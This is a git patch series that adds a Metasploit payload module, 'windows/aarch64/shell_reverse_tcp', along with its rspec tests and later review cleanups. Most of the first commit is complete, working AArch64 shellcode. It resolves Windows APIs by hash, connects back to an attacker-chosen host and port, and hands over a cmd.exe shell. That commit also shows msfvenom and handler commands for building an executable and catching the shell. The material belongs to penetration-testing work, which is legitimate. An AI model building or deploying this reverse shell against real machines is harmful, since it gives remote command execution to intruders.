From ca35348a2e855705fced5adcd5157dbbf43de7ff Mon Sep 17 00:00:00 2001 From: vinicius-batistella Date: Fri, 19 Jun 2026 23:27:04 -0300 Subject: [PATCH 1/4] Add windows/aarch64/shell_reverse_tcp payload Position-independent AArch64 reverse-TCP command shell payload for Windows on ARM. Resolves Winsock and process-creation APIs via PEB walk + ROR-13 hashing, opens a TCP socket, then spawns cmd.exe with stdin/stdout/stderr piped over the socket via CreateProcessA with STARTF_USESTDHANDLES. Supports EXITFUNC=process/thread/none via a runtime hash-dispatcher that the Ruby module patches with the chosen kernel32 export hash. Tested end-to-end on Windows 11 ARM64 (build 26200) with all three EXITFUNC modes. Output: 664 bytes raw, 6656-byte PE via -f exe. Depends on the exe.rb ARCH_AARCH64 dispatch fix. --- .../windows/aarch64/shell_reverse_tcp.rb | 384 ++++++++++++++++++ 1 file changed, 384 insertions(+) create mode 100644 modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb diff --git a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb new file mode 100644 index 0000000000000..d1a27315f10b4 --- /dev/null +++ b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb @@ -0,0 +1,384 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +# +# Drop this file at: +# modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb +# inside your metasploit-framework clone, then: +# ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f raw -o shell.bin +# ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f exe -o shell.exe +# ./msfconsole -q -x "use exploit/multi/handler; \ +# set payload windows/aarch64/shell_reverse_tcp; \ +# set LHOST ...; set LPORT ...; run" +## + +module MetasploitModule + CachedSize = 664 + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Windows AArch64 Command Shell, Reverse TCP Inline', + 'Description' => %q{ + Connect back to the attacker and spawn a Windows command shell on a + Windows on ARM (AArch64) target. Position-independent shellcode that + resolves API addresses via PEB / Export Address Table hashing + (Stephen Fewer ROR-13), opens a TCP socket through Winsock, calls + WSAConnect, then spawns cmd.exe with stdin/stdout/stderr piped over + the socket via CreateProcessA + STARTF_USESTDHANDLES. EXITFUNC is + honored via a runtime hash-dispatcher. + }, + 'Author' => [ + 'vinicius-batistella' # AArch64 reverse_tcp port from the x64 stager logic + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_AARCH64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => { 'Offsets' => {}, 'Payload' => '' }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + end + + def generate(_opts = {}) + # Fall back to placeholders when datastore isn't populated yet -- the + # framework calls generate() from `size` during `show info` / module + # discovery, well before the user sets LHOST/LPORT. Raising here would + # break those flows. msfvenom always populates the datastore from CLI + # flags before invoking generate, so real use is unaffected. + lhost = datastore['LHOST'] + lhost = '127.0.0.1' if lhost.nil? || lhost.to_s.empty? + + lport = datastore['LPORT'].to_i + lport = 4444 unless (1..65535).cover?(lport) + + ip_bytes = Rex::Socket.addr_aton(lhost) + unless ip_bytes && ip_bytes.bytesize == 4 + # Hostname resolved to non-IPv4 (or resolve failed). Fall back to + # loopback so size calc still works; msfvenom will error elsewhere + # if the user really tried to use a bad LHOST. + ip_bytes = Rex::Socket.addr_aton('127.0.0.1') + end + + # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast. + # sin_port: network-order bytes loaded as a little-endian 16-bit imm. + # sin_addr: octets 0..1 -> low halfword, octets 2..3 -> high halfword. + port_imm = [lport].pack('n').unpack1('v') + ip_lo_imm = ip_bytes[0, 2].unpack1('v') + ip_hi_imm = ip_bytes[2, 2].unpack1('v') + + # Pick the EXITFUNC dispatcher hash. The exitfunk block in the asm + # re-resolves the chosen kernel32 export by hash at runtime. + exit_hash = exitfunk_hash(datastore['EXITFUNC']) + + asm = build_asm( + port_imm: port_imm, + ip_lo_imm: ip_lo_imm, + ip_hi_imm: ip_hi_imm, + exit_lo: exit_hash & 0xFFFF, + exit_hi: (exit_hash >> 16) & 0xFFFF + ) + + compile_aarch64(asm) + end + + private + + # ROR-13 hash of a kernel32 export name, matching the asm find_function + # routine. The asm stops on CBZ before adding the NUL terminator, so we + # hash bytes only (no trailing zero). + # + # Sanity checks (verified against rev2.s constants): + # ror13_hash('TerminateProcess') == 0x78b5b983 + # ror13_hash('LoadLibraryA') == 0xec0e4e8e + # ror13_hash('CreateProcessA') == 0x16b3fe72 + def ror13_hash(str) + h = 0 + str.each_byte do |b| + h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF + h = (h + b) & 0xFFFFFFFF + end + h + end + + def exitfunk_hash(value) + case value.to_s.downcase + when 'thread' + ror13_hash('ExitThread') + when 'process', '' + 0x78b5b983 # TerminateProcess (known constant; also == ror13_hash('TerminateProcess')) + when 'none' + # 'none' is best-effort here: we still need *something* to call so the + # shellcode doesn't fall off into garbage. ExitProcess is the safest. + ror13_hash('ExitProcess') + else + 0x78b5b983 + end + end + + # rubocop:disable Metrics/MethodLength + def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) + # Differences from the standalone rev2.s prototype: + # - `.text` / `.global` directives stripped (aarch64 gem rejects them) + # - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N; + # add x15, base, x15; ldr ...` to avoid extended-register addressing + # in the aarch64 gem parser + # - constant expressions like `(12*2)` pre-evaluated to literals + # - `mov x0, #-1` replaced with `movn x0, #0` (canonical encoding) + # + # Slot table (x29 + offset): + # 0x00 kernel32_base 0x08 &find_function 0x18 LoadLibraryA + # 0x28 WSAStartup 0x30 WSASocketA 0x38 WSAConnect + # 0x40 CreateProcessA 0x50 sockaddr_in 0x70 WSADATA + # Gaps at 0x10 and 0x20 are intentional -- previously held cached + # TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken + # (was unused dead code), preserved to keep slot offsets stable. + <<~ASM + main: + sub sp, sp, #0x300 + mov x29, sp + add x19, x29, #0x50 + add x21, x29, #0x70 + + find_kernel32: + ldr x6, [x18, #0x60] + ldr x6, [x6, #0x18] + ldr x6, [x6, #0x30] + + next_module: + ldr x3, [x6, #0x10] + ldr x7, [x6, #0x40] + ldr x6, [x6] + ldrh w8, [x7, #24] + cbnz w8, next_module + + find_function_shorten: + b find_function_shorten_bnc + + find_function_ret: + str x30, [x29, #0x08] + b resolve_symbols_kernel32 + + find_function_shorten_bnc: + bl find_function_ret + + find_function: + mov w10, w0 + ldr w8, [x3, #0x3c] + add x8, x8, x3 + ldr w9, [x8, #0x88] + add x9, x9, x3 + ldr w4, [x9, #0x18] + ldr w11, [x9, #0x20] + add x11, x11, x3 + + find_function_loop: + cbz w4, find_function_finished + sub w4, w4, #1 + mov w15, w4 + lsl x15, x15, #2 + add x15, x11, x15 + ldr w12, [x15] + add x6, x12, x3 + + compute_hash: + mov w5, wzr + + compute_hash_again: + ldrb w0, [x6], #1 + cbz w0, compute_hash_finished + ror w5, w5, #13 + add w5, w5, w0 + b compute_hash_again + + compute_hash_finished: + find_function_compare: + cmp w5, w10 + b.ne find_function_loop + + ldr w12, [x9, #0x24] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #1 + add x15, x12, x15 + ldrh w4, [x15] + ldr w12, [x9, #0x1c] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #2 + add x15, x12, x15 + ldr w13, [x15] + add x0, x13, x3 + + find_function_finished: + ret + + resolve_symbols_kernel32: + str x3, [x29, #0x00] + + movz w0, #0x4e8e + movk w0, #0xec0e, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x18] + + resolve_symbols_CreateProcessA: + movz w0, #0xfe72 + movk w0, #0x16b3, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x40] + + load_ws2_32: + movz x0, #0x7357 + movk x0, #0x5f32, lsl #16 + movk x0, #0x3233, lsl #32 + movk x0, #0x642e, lsl #48 + movz w1, #0x6c6c + sub sp, sp, #16 + str x0, [sp] + str w1, [sp, #8] + mov x0, sp + ldr x9, [x29, #0x18] + blr x9 + add sp, sp, #16 + mov x3, x0 + + resolve_ws2_32: + movz w0, #0xedcb + movk w0, #0x3bfc, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x28] + + movz w0, #0x09d9 + movk w0, #0xadf5, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x30] + + movz w0, #0xba0c + movk w0, #0xb32d, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x38] + + call_WSAStartup: + movz w0, #0x0202 + mov x1, x21 + ldr x9, [x29, #0x28] + blr x9 + + call_WSASocket: + mov w0, #2 + mov w1, #1 + mov w2, #6 + mov x3, xzr + mov w4, wzr + mov w5, wzr + ldr x9, [x29, #0x30] + blr x9 + mov x22, x0 + + fill_sockaddr_fast: + movz x0, #0x0002 + movk x0, ##{format('0x%04x', port_imm)}, lsl #16 + movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32 + movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48 + stp x0, xzr, [x19] + + call_WSAConnect: + mov x0, x22 + mov x1, x19 + mov w2, #16 + mov x3, xzr + mov x4, xzr + mov x5, xzr + mov x6, xzr + ldr x9, [x29, #0x38] + blr x9 + + build_PROCESS_INFORMATION_and_STARTUPINFOA: + sub sp, sp, #0xB0 + add x10, sp, #0x10 + add x11, sp, #0x30 + add x12, sp, #0xA0 + + stp xzr, xzr, [x10] + str xzr, [x10, #16] + + stp xzr, xzr, [x11, #0x00] + stp xzr, xzr, [x11, #0x10] + stp xzr, xzr, [x11, #0x20] + stp xzr, xzr, [x11, #0x30] + stp xzr, xzr, [x11, #0x40] + stp xzr, xzr, [x11, #0x50] + str xzr, [x11, #0x60] + + mov w0, #0x68 + str w0, [x11, #0x00] + mov w0, #0x100 + str w0, [x11, #0x3C] + str x22, [x11, #0x50] + str x22, [x11, #0x58] + str x22, [x11, #0x60] + + movz x0, #0x6D63 + movk x0, #0x2E64, lsl #16 + movk x0, #0x7865, lsl #32 + movk x0, #0x0065, lsl #48 + str x0, [x12] + + call_CreateProcessA: + mov x0, xzr + mov x1, x12 + mov x2, xzr + mov x3, xzr + mov w4, #1 + mov w5, wzr + mov x6, xzr + mov x7, xzr + stp x11, x10, [sp] + + ldr x9, [x29, #0x40] + blr x9 + + add sp, sp, #0xB0 + + exitfunk: + ldr x3, [x29, #0x00] + movz w0, ##{format('0x%04x', exit_lo)} + movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + mov x10, x0 + movn x0, #0 + mov w1, wzr + blr x10 + brk #0 + ASM + end + # rubocop:enable Metrics/MethodLength + + def compile_aarch64(asm_string) + require 'aarch64/parser' + parser = ::AArch64::Parser.new + asm = parser.parse(without_inline_comments(asm_string)) + asm.to_binary + end + + def without_inline_comments(string) + string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n") + end +end From dcc3f1c6f325b189c3c245f62073308c9adc3f00 Mon Sep 17 00:00:00 2001 From: vinicius-batistella Date: Wed, 24 Jun 2026 20:33:30 -0300 Subject: [PATCH 2/4] Fix CI on windows/aarch64/shell_reverse_tcp PR - rubocop -a on the payload module: align hash literals, drop a redundant Metrics/MethodLength disable, fix indent in compile_aarch64. No semantic changes. Resolves Lint/msftidy (3.2) which runs rubocop on touched modules. - Register windows/aarch64/shell_reverse_tcp in spec/modules/payloads_spec.rb under the same shared example ('payload cached size is consistent') already used by windows/aarch64/exec. Resolves the Verify rspec --tag content failure where the 'untested payloads' shared context was flagging the new payload as missing from the registry. - Add spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb modeled on the existing windows/aarch64/exec_spec.rb: stubs compile_aarch64 to keep the spec independent of the AArch64 parser, then asserts that the asm pipeline runs, that LHOST and LPORT changes alter the produced shellcode, and that all three EXITFUNC modes (process / thread / none) generate non-empty output. Co-authored-by: Cursor --- .../windows/aarch64/shell_reverse_tcp.rb | 32 +++++----- .../windows/aarch64/shell_reverse_tcp_spec.rb | 63 +++++++++++++++++++ spec/modules/payloads_spec.rb | 9 +++ 3 files changed, 87 insertions(+), 17 deletions(-) create mode 100644 spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb diff --git a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb index d1a27315f10b4..bd7bb2625186f 100644 --- a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb @@ -24,7 +24,7 @@ def initialize(info = {}) super( merge_info( info, - 'Name' => 'Windows AArch64 Command Shell, Reverse TCP Inline', + 'Name' => 'Windows AArch64 Command Shell, Reverse TCP Inline', 'Description' => %q{ Connect back to the attacker and spawn a Windows command shell on a Windows on ARM (AArch64) target. Position-independent shellcode that @@ -34,17 +34,17 @@ def initialize(info = {}) the socket via CreateProcessA + STARTF_USESTDHANDLES. EXITFUNC is honored via a runtime hash-dispatcher. }, - 'Author' => [ + 'Author' => [ 'vinicius-batistella' # AArch64 reverse_tcp port from the x64 stager logic ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_AARCH64, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::CommandShell, - 'Payload' => { 'Offsets' => {}, 'Payload' => '' }, - 'Notes' => { - 'Stability' => [CRASH_SAFE], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_AARCH64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => { 'Offsets' => {}, 'Payload' => '' }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) @@ -74,7 +74,7 @@ def generate(_opts = {}) # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast. # sin_port: network-order bytes loaded as a little-endian 16-bit imm. # sin_addr: octets 0..1 -> low halfword, octets 2..3 -> high halfword. - port_imm = [lport].pack('n').unpack1('v') + port_imm = [lport].pack('n').unpack1('v') ip_lo_imm = ip_bytes[0, 2].unpack1('v') ip_hi_imm = ip_bytes[2, 2].unpack1('v') @@ -83,11 +83,11 @@ def generate(_opts = {}) exit_hash = exitfunk_hash(datastore['EXITFUNC']) asm = build_asm( - port_imm: port_imm, + port_imm: port_imm, ip_lo_imm: ip_lo_imm, ip_hi_imm: ip_hi_imm, - exit_lo: exit_hash & 0xFFFF, - exit_hi: (exit_hash >> 16) & 0xFFFF + exit_lo: exit_hash & 0xFFFF, + exit_hi: (exit_hash >> 16) & 0xFFFF ) compile_aarch64(asm) @@ -127,7 +127,6 @@ def exitfunk_hash(value) end end - # rubocop:disable Metrics/MethodLength def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) # Differences from the standalone rev2.s prototype: # - `.text` / `.global` directives stripped (aarch64 gem rejects them) @@ -369,12 +368,11 @@ def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) brk #0 ASM end - # rubocop:enable Metrics/MethodLength def compile_aarch64(asm_string) require 'aarch64/parser' parser = ::AArch64::Parser.new - asm = parser.parse(without_inline_comments(asm_string)) + asm = parser.parse(without_inline_comments(asm_string)) asm.to_binary end diff --git a/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb new file mode 100644 index 0000000000000..3d23074cbfb2b --- /dev/null +++ b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb @@ -0,0 +1,63 @@ +require 'rspec' + +RSpec.describe 'singles/windows/aarch64/shell_reverse_tcp' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'windows/aarch64/shell_reverse_tcp', + ancestor_reference_names: [ + 'singles/windows/aarch64/shell_reverse_tcp' + ] + ) + end + + before(:each) do + subject.datastore.merge!('LHOST' => '192.0.2.1', 'LPORT' => '4444') + end + + describe '#generate' do + def stub_compile_with_capture + captured = [] + allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm| + compiled_asm = original.call asm + expect(compiled_asm.length).to be > 0 + captured << compiled_asm + compiled_asm + end + captured + end + + it 'compiles the AArch64 asm and returns a non-empty binary' do + stub_compile_with_capture + expect(subject.generate).not_to be_empty + end + + it 'produces different shellcode for different LPORT values' do + stub_compile_with_capture + raw_default = subject.generate + subject.datastore['LPORT'] = '9999' + raw_other = subject.generate + expect(raw_default).not_to eq(raw_other) + end + + it 'produces different shellcode for different LHOST values' do + stub_compile_with_capture + raw_default = subject.generate + subject.datastore['LHOST'] = '198.51.100.7' + raw_other = subject.generate + expect(raw_default).not_to eq(raw_other) + end + + %w[process thread none].each do |exitfunc| + context "when EXITFUNC is #{exitfunc}" do + it 'compiles successfully' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = exitfunc + expect(subject.generate).not_to be_empty + end + end + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 5e9c52b309d22..19c212442c44f 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -4914,6 +4914,15 @@ reference_name: 'windows/aarch64/exec' end + context 'windows/aarch64/shell_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/aarch64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/aarch64/shell_reverse_tcp' + end + context 'windows/x64/download_exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 6858bcc3c3d2176b0eb14f6256483a79dd776dcb Mon Sep 17 00:00:00 2001 From: vinicius-batistella Date: Wed, 24 Jun 2026 21:09:41 -0300 Subject: [PATCH 3/4] Address review feedback on windows/aarch64/shell_reverse_tcp - Drop the leftover prototype 'Drop this file at: ...' header comment block. It described how to drop the standalone file into a clone, which is no longer relevant once the module ships in tree (msutovsky-r7). - Drop the LHOST/LPORT/IP fallback in generate. LHOST and LPORT are required datastore options registered by the Msf::Handler::ReverseTcp handler, and the cached-size / show-info paths populate them via PayloadCachedSize.module_options (OPTS_IPV4: LHOST=223.255.255.255 LPORT=4444). The fallback was defensive scaffolding from prototype days that never actually triggered (msutovsky-r7). generate is now ~30 lines shorter and matches the assumption that the framework guarantees populated datastore options before invoking it -- same contract as osx/aarch64/shell_reverse_tcp. No change to the produced shellcode bytes for any valid LHOST/LPORT/EXITFUNC combination. Co-authored-by: Cursor --- .../windows/aarch64/shell_reverse_tcp.rb | 35 +++---------------- 1 file changed, 4 insertions(+), 31 deletions(-) diff --git a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb index bd7bb2625186f..baa4b991c6a1e 100644 --- a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb @@ -2,16 +2,6 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -# -# Drop this file at: -# modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb -# inside your metasploit-framework clone, then: -# ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f raw -o shell.bin -# ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f exe -o shell.exe -# ./msfconsole -q -x "use exploit/multi/handler; \ -# set payload windows/aarch64/shell_reverse_tcp; \ -# set LHOST ...; set LPORT ...; run" -## module MetasploitModule CachedSize = 664 @@ -52,34 +42,17 @@ def initialize(info = {}) end def generate(_opts = {}) - # Fall back to placeholders when datastore isn't populated yet -- the - # framework calls generate() from `size` during `show info` / module - # discovery, well before the user sets LHOST/LPORT. Raising here would - # break those flows. msfvenom always populates the datastore from CLI - # flags before invoking generate, so real use is unaffected. - lhost = datastore['LHOST'] - lhost = '127.0.0.1' if lhost.nil? || lhost.to_s.empty? - - lport = datastore['LPORT'].to_i - lport = 4444 unless (1..65535).cover?(lport) - - ip_bytes = Rex::Socket.addr_aton(lhost) - unless ip_bytes && ip_bytes.bytesize == 4 - # Hostname resolved to non-IPv4 (or resolve failed). Fall back to - # loopback so size calc still works; msfvenom will error elsewhere - # if the user really tried to use a bad LHOST. - ip_bytes = Rex::Socket.addr_aton('127.0.0.1') - end + ip_bytes = Rex::Socket.addr_aton(datastore['LHOST']) # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast. # sin_port: network-order bytes loaded as a little-endian 16-bit imm. # sin_addr: octets 0..1 -> low halfword, octets 2..3 -> high halfword. - port_imm = [lport].pack('n').unpack1('v') + port_imm = [datastore['LPORT'].to_i].pack('n').unpack1('v') ip_lo_imm = ip_bytes[0, 2].unpack1('v') ip_hi_imm = ip_bytes[2, 2].unpack1('v') - # Pick the EXITFUNC dispatcher hash. The exitfunk block in the asm - # re-resolves the chosen kernel32 export by hash at runtime. + # The exitfunk block re-resolves the chosen kernel32 exit API by hash + # at runtime; we patch the two MOVZ/MOVK immediates with the hash. exit_hash = exitfunk_hash(datastore['EXITFUNC']) asm = build_asm( From d5326734d2c5c96a546340640fb5b18646afa08f Mon Sep 17 00:00:00 2001 From: vinicius-batistella Date: Thu, 25 Jun 2026 20:08:14 -0300 Subject: [PATCH 4/4] Address Copilot review on windows/aarch64/shell_reverse_tcp - Add # frozen_string_literal: true to the payload module and its spec file per AGENTS.md convention for new Ruby files. - Validate LHOST is IPv4 before encoding into the AF_INET sockaddr. OptAddress accepts IPv6 hostnames but this shellcode builds a 4-byte sin_addr via MOVZ/MOVK immediates; without the check an IPv6 LHOST silently produces non-functional shellcode. Matches linux/riscv64le/shell_reverse_tcp and osx/x64/shell_reverse_tcp. Co-authored-by: Cursor --- .../singles/windows/aarch64/shell_reverse_tcp.rb | 9 ++++++++- .../singles/windows/aarch64/shell_reverse_tcp_spec.rb | 2 ++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb index baa4b991c6a1e..52b5c9547ee49 100644 --- a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb @@ -1,3 +1,5 @@ +# frozen_string_literal: true + ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -42,7 +44,12 @@ def initialize(info = {}) end def generate(_opts = {}) - ip_bytes = Rex::Socket.addr_aton(datastore['LHOST']) + lhost = datastore['LHOST'] + unless Rex::Socket.is_ipv4?(lhost) + raise ArgumentError, 'LHOST must be in IPv4 format.' + end + + ip_bytes = Rex::Socket.addr_aton(lhost) # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast. # sin_port: network-order bytes loaded as a little-endian 16-bit imm. diff --git a/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb index 3d23074cbfb2b..98250a0151109 100644 --- a/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb +++ b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb @@ -1,3 +1,5 @@ +# frozen_string_literal: true + require 'rspec' RSpec.describe 'singles/windows/aarch64/shell_reverse_tcp' do